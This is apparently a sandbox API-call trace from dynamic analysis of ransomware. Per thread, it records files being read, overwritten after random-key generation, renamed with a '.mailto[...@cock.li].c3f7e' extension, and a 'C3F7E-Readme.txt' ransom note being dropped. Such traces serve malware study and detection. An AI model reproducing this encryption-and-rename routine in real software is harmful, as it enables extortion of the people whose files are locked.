	[0075.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0075.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0075.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.296] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1025\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf"
	[0075.296] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.296] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x938f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61dc0
	[0075.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.299] NtQueryInformationFile (in: FileHandle=0x974, IoStatusBlock=0x938f6dc, FileInformation=0x938f6b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x938f6dc, FileInformation=0x938f6b4) returned 0x0
	[0075.299] NtSetInformationFile (FileHandle=0x974, IoStatusBlock=0x938f6dc, FileInformation=0x938f6b4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.300] FlushFileBuffers (hFile=0x974) returned 1
	[0075.301] CloseHandle (hObject=0x974) returned 1
	[0075.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.302] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1025\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0075.302] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1025\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1025\\C3F7E-Readme.txt"
	[0075.302] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.302] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x974
	[0075.303] WriteFile (in: hFile=0x974, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x938f6d8, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x938f6d8*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.304] CloseHandle (hObject=0x974) returned 1
	[0075.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730e70) returned 1

Thread:
	id = 171
	os_tid = 0x139c

	[0075.281] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80
	[0075.292] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.292] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970
	[0075.292] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x940fa10 | out: lpFileSize=0x940fa10*=74214) returned 1
	[0075.292] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x121e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.292] ReadFile (in: hFile=0x970, lpBuffer=0x940f994, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x940f990, lpOverlapped=0x0 | out: lpBuffer=0x940f994*, lpNumberOfBytesRead=0x940f990*=0x4, lpOverlapped=0x0) returned 1
	[0075.296] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0075.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.297] NtQuerySystemTime (in: CurrentTime=0x940f970 | out: CurrentTime=0x940f970*=132251868020284496) returned 0x0
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xce0e9283
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x99ff7d99
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x61ed79a4
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x8dadf0f9
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x7f664cab
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xee91ea40
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x303d9c30
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x8aef10c5
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x768be107
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x428e9ac4
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xbed88f02
	[0075.297] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xe4471b0f
	[0075.299] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x17a0bf88
	[0075.299] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x5042f1bc
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x352bd3d0
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x29bcba96
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x7783885f
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x520d42b4
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x17dc120e
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xa106f367
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xbcc895de
	[0075.301] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xf2bfcc58
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x68c0c7b3
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x9dd31f3a
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x486f7a3a
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x2e42bccb
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x7afb186d
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0xf4c0c109
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x10735524
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x1b0f630a
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x3d1d901
	[0075.305] RtlRandom (in: Seed=0x940f97c | out: Seed=0x940f97c) returned 0x262d04e
	[0075.313] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.313] ReadFile (in: hFile=0x970, lpBuffer=0x47e87e8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x940f950, lpOverlapped=0x0 | out: lpBuffer=0x47e87e8*, lpNumberOfBytesRead=0x940f950*=0xc800, lpOverlapped=0x0) returned 1
	[0075.314] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738a0
	[0075.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0075.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47920
	[0075.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0075.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47f4ff0
	[0075.316] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.316] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0075.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0075.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0075.316] WriteFile (in: hFile=0x970, lpBuffer=0x47f4ff0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x940f950, lpOverlapped=0x0 | out: lpBuffer=0x47f4ff0*, lpNumberOfBytesWritten=0x940f950*=0xc800, lpOverlapped=0x0) returned 1
	[0077.533] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47f4ff0) returned 1
	[0077.533] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e87e8) returned 1
	[0077.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4764ee0
	[0077.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0077.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0077.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4764ce8
	[0077.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345f0
	[0077.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0077.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0077.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47535c0) returned 1
	[0077.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0077.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x47cf6a0
	[0077.649] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.650] WriteFile (in: hFile=0x970, lpBuffer=0x47cf6a0*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x940f9d0, lpOverlapped=0x0 | out: lpBuffer=0x47cf6a0*, lpNumberOfBytesWritten=0x940f9d0*=0x113, lpOverlapped=0x0) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf6a0) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764ce8) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345f0) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764ee0) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c90) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0077.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0077.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49867b8
	[0077.845] wcscpy (in: _Dest=0x49867b8, _Source="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml"
	[0077.845] wcscat (in: _Dest=0x49867b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0077.845] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x940f988, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0077.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a928
	[0077.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a928) returned 1
	[0077.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d612c0) returned 1
	[0077.859] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x940f994, FileInformation=0x940f96c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x940f994, FileInformation=0x940f96c) returned 0x0
	[0077.860] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x940f994, FileInformation=0x940f96c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0077.862] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0077.862] FlushFileBuffers (hFile=0x970) returned 1
	[0081.710] CloseHandle (hObject=0x970) returned 1
	[0081.711] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780570
	[0081.711] wcscpy (in: _Dest=0x4780570, _Source="C:\\588bce7c90097ed212\\1025\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0081.711] wcscat (in: _Dest=0x4780570, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1025\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1025\\C3F7E-Readme.txt"
	[0081.711] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\c3f7e-readme.txt")) returned 0x20
	[0081.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0081.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79e30) returned 1

Thread:
	id = 172
	os_tid = 0x1394

	[0075.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80
	[0075.317] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x974
	[0075.318] GetFileSizeEx (in: hFile=0x974, lpFileSize=0x948f76c | out: lpFileSize=0x948f76c*=6309) returned 1
	[0075.318] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x18a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.318] ReadFile (in: hFile=0x974, lpBuffer=0x948f6f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x948f6ec, lpOverlapped=0x0 | out: lpBuffer=0x948f6f0*, lpNumberOfBytesRead=0x948f6ec*=0x4, lpOverlapped=0x0) returned 1
	[0075.319] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47808
	[0075.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.319] NtQuerySystemTime (in: CurrentTime=0x948f6cc | out: CurrentTime=0x948f6cc*=132251868020596425) returned 0x0
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x28e64023
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xb2faace1
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x8664bc27
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xa8c6d8c4
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x8e3d5a37
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xb9201e2a
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xad1ba21d
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x5ebeddcf
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x230a53e
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x321a6a73
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x181e091c
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x4bf23720
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xf3b18124
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xfaba3b91
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xccd44851
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x487f0a42
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x8b5f1c0f
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xe458b447
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x16456c7
	[0075.319] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x23b4c5b2
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x2d30c9f4
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x4508481b
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x35ca809a
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0xadc495f
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x515dd980
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x8d4a5884
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x654d97f
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x3cc2852
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x8fa9d813
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x3a4c50b2
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x4200a909
	[0075.320] RtlRandom (in: Seed=0x948f6d8 | out: Seed=0x948f6d8) returned 0x117ea02a
	[0075.329] ReadFile (in: hFile=0x974, lpBuffer=0x48017f8, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0x948f6c8, lpOverlapped=0x0 | out: lpBuffer=0x48017f8*, lpNumberOfBytesRead=0x948f6c8*=0x18a5, lpOverlapped=0x0) returned 1
	[0075.330] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.330] WriteFile (in: hFile=0x974, lpBuffer=0x480e000*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0x948f6c4, lpOverlapped=0x0 | out: lpBuffer=0x480e000*, lpNumberOfBytesWritten=0x948f6c4*=0x18a5, lpOverlapped=0x0) returned 1
	[0075.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0075.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0075.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480e000) returned 1
	[0075.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48017f8) returned 1
	[0075.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0075.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0075.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47970
	[0075.332] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.332] WriteFile (in: hFile=0x974, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x948f72c, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x948f72c*=0x101, lpOverlapped=0x0) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a38) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47808) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0075.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47948) returned 1
	[0075.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.333] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1028\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf"
	[0075.333] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.333] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x948f6e4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61dc0
	[0075.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.337] NtQueryInformationFile (in: FileHandle=0x974, IoStatusBlock=0x948f6f0, FileInformation=0x948f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x948f6f0, FileInformation=0x948f6c8) returned 0x0
	[0075.337] NtSetInformationFile (FileHandle=0x974, IoStatusBlock=0x948f6f0, FileInformation=0x948f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.338] FlushFileBuffers (hFile=0x974) returned 1
	[0075.339] CloseHandle (hObject=0x974) returned 1
	[0075.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.340] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1028\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0075.340] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1028\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1028\\C3F7E-Readme.txt"
	[0075.340] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x974
	[0075.340] WriteFile (in: hFile=0x974, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x948f6ec, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x948f6ec*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.341] CloseHandle (hObject=0x974) returned 1
	[0075.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
